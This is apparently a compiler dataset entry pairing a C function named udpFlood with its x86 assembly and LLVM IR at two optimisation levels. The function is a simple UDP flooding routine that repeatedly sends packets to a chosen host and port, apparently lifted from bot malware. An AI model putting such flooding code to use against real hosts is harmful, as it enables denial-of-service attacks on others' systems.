#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
typedef int /*<<< orphan*/ word;
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ sin;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_DGRAM;
int /*<<< orphan*/ bzero(char *, int);
int /*<<< orphan*/ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ orion_getHostByName(char *, char *);
int /*<<< orphan*/ send(int, char *, int, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
void udpFlood(char *server, int port, int times) {
  struct sockaddr_in sin;
  char serv[1024], *word = "Boo";
  int sock;
  orion_getHostByName(server, serv);
  bzero((char *)&sin, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(server);
  sin.sin_port = htons(port);
  sock = socket(AF_INET, SOCK_DGRAM, 0);
  connect(sock, (struct sockaddr *)&sin, sizeof(sin));
  do {
    send(sock, word, sizeof(word), 0);
    times--;
  } while (times ^ 0);
}


x86 assembly (clang, -O0):
<udpFlood>:
push   %rbp
mov    %rsp,%rbp
sub    $0x430,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
lea    0xe74(%rip),%rax
mov    %rax,-0x428(%rbp)
mov    -0x8(%rbp),%rdi
lea    -0x420(%rbp),%rsi
call   1060 <orion_getHostByName@plt>
lea    -0x20(%rbp),%rdi
mov    $0xc,%esi
call   1070 <bzero@plt>
mov    0x2e30(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x18(%rbp)
mov    -0x8(%rbp),%rdi
call   1050 <inet_addr@plt>
mov    %eax,-0x1c(%rbp)
mov    -0xc(%rbp),%edi
call   1030 <htons@plt>
mov    %eax,-0x20(%rbp)
mov    0x2e0d(%rip),%rax
mov    (%rax),%edi
mov    0x2dfc(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1090 <socket@plt>
mov    %eax,-0x42c(%rbp)
mov    -0x42c(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0xc,%edx
call   1080 <connect@plt>
mov    -0x42c(%rbp),%edi
mov    -0x428(%rbp),%rsi
mov    $0x8,%edx
xor    %ecx,%ecx
call   1040 <send@plt>
mov    -0x10(%rbp),%eax
add    $0xffffffff,%eax
mov    %eax,-0x10(%rbp)
mov    -0x10(%rbp),%eax
xor    $0x0,%eax
cmp    $0x0,%eax
jne    1207 <udpFlood+0x97>
add    $0x430,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<udpFlood>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x410,%rsp
mov    %edx,%ebx
mov    %esi,%r15d
mov    %rdi,%rbp
lea    0x10(%rsp),%rsi
call   1060 <orion_getHostByName@plt>
mov    %rsp,%r14
mov    %r14,%rdi
mov    $0xc,%esi
call   1070 <bzero@plt>
mov    0x2e40(%rip),%r12
mov    (%r12),%eax
mov    %eax,0x8(%rsp)
mov    %rbp,%rdi
call   1050 <inet_addr@plt>
mov    %eax,0x4(%rsp)
mov    %r15d,%edi
call   1030 <htons@plt>
mov    %eax,(%rsp)
mov    (%r12),%edi
mov    0x2e0e(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1090 <socket@plt>
mov    %eax,%ebp
mov    %eax,%edi
mov    %r14,%rsi
mov    $0xc,%edx
call   1080 <connect@plt>
lea    0xe0d(%rip),%r14
cs nopw 0x0(%rax,%rax,1)
nopl   (%rax)
mov    %ebp,%edi
mov    %r14,%rsi
mov    $0x8,%edx
xor    %ecx,%ecx
call   1040 <send@plt>
add    $0xffffffff,%ebx
jne    1200 <udpFlood+0x90>
add    $0x410,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [4 x i8] c"Boo\00"
@AF_INET = global i32 0
@SOCK_DGRAM = global i32 0
define void @udpFlood(i8* %0, i32 %1, i32 %2) {
%4 = alloca i8*
%5 = alloca i32
%6 = alloca i32
%7 = alloca %struct.sockaddr_in
%8 = alloca [1024 x i8]
%9 = alloca i8*
%10 = alloca i32
store i8* %0, i8** %4
store i32 %1, i32* %5
store i32 %2, i32* %6
store i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i8** %9
%11 = load i8*, i8** %4
%12 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%13 = call i32 @orion_getHostByName(i8* %11, i8* %12)
%14 = bitcast %struct.sockaddr_in* %7 to i8*
%15 = call i32 @bzero(i8* %14, i32 12)
%16 = load i32, i32* @AF_INET
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 2
store i32 %16, i32* %17
%18 = load i8*, i8** %4
%19 = call i32 @inet_addr(i8* %18)
%20 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 1
%21 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %20, i32 0, i32 0
store i32 %19, i32* %21
%22 = load i32, i32* %5
%23 = call i32 @htons(i32 %22)
%24 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %7, i32 0, i32 0
store i32 %23, i32* %24
%25 = load i32, i32* @AF_INET
%26 = load i32, i32* @SOCK_DGRAM
%27 = call i32 @socket(i32 %25, i32 %26, i32 0)
store i32 %27, i32* %10
%28 = load i32, i32* %10
%29 = bitcast %struct.sockaddr_in* %7 to %struct.sockaddr*
%30 = call i32 @connect(i32 %28, %struct.sockaddr* %29, i32 12)
br label %31
31: ; preds = %37, %3
%32 = load i32, i32* %10
%33 = load i8*, i8** %9
%34 = call i32 @send(i32 %32, i8* %33, i32 8, i32 0)
%35 = load i32, i32* %6
%36 = add nsw i32 %35, -1
store i32 %36, i32* %6
br label %37
37: ; preds = %31
%38 = load i32, i32* %6
%39 = xor i32 %38, 0
%40 = icmp ne i32 %39, 0
br i1 %40, label %31, label %41
41: ; preds = %37
ret void
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [4 x i8] c"Boo\00"
@AF_INET = global i32 0
@SOCK_DGRAM = global i32 0
define void @udpFlood(i8* %0, i32 %1, i32 %2) {
%4 = alloca %struct.sockaddr_in
%5 = alloca [1024 x i8]
%6 = bitcast %struct.sockaddr_in* %4 to i8*
%7 = getelementptr inbounds [1024 x i8], [1024 x i8]* %5, i64 0, i64 0
%8 = call i32 @orion_getHostByName(i8* %0, i8* %7)
%9 = call i32 @bzero(i8* %6, i32 12)
%10 = load i32, i32* @AF_INET
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i32 %10, i32* %11
%12 = call i32 @inet_addr(i8* %0)
%13 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1, i32 0
store i32 %12, i32* %13
%14 = call i32 @htons(i32 %1)
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0
store i32 %14, i32* %15
%16 = load i32, i32* @AF_INET
%17 = load i32, i32* @SOCK_DGRAM
%18 = call i32 @socket(i32 %16, i32 %17, i32 0)
%19 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%20 = call i32 @connect(i32 %18, %struct.sockaddr* %19, i32 12)
br label %21
21: ; preds = %21, %3
%22 = phi i32 [ %2, %3 ], [ %24, %21 ]
%23 = call i32 @send(i32 %18, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i32 8, i32 0)
%24 = add nsw i32 %22, -1
%25 = icmp eq i32 %24, 0
br i1 %25, label %26, label %21
26: ; preds = %21
ret void
}